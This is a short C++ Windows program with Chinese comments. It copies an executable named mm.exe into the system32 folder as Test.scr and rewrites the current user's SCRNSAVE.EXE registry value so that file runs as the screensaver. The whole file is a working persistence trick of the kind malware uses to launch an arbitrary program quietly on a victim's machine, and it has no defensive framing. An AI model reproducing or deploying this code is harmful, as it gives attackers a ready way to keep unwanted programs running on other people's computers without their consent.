1 #include <windows.h>
2 using namespace std;
3
4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
5 LPSTR lpCmdLine, int nCmdShow)
6 {
7 HKEY hKEY;
8
9 // 复制 mm 文件到 system32 目录下并重命名为 .scr FALSE 参数覆盖
10 CopyFile("C:\\mm.exe", "C:\\Windows\\system32\\Test.scr", FALSE);
11 char *KeyPath = "Control Panel\\Desktop";
12 // 复制后的文件路径
13 char *szPath = "C:\\Windows\\system32\\Test.scr";
14 // 打开注册表
15 if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER, KeyPath, 0, KEY_SET_VALUE, &hKEY))
16 {
17 // 修改屏保程序为复制后的文件
18 if(ERROR_SUCCESS == RegSetValueEx(hKEY, "SCRNSAVE.EXE", 0, REG_SZ, (BYTE*)szPath, strlen(szPath) + 1))
19 {
20 RegCloseKey(hKEY);
21 return 0;
22 }
23 }
24 RegCloseKey(hKEY);
25 return 0;
26 }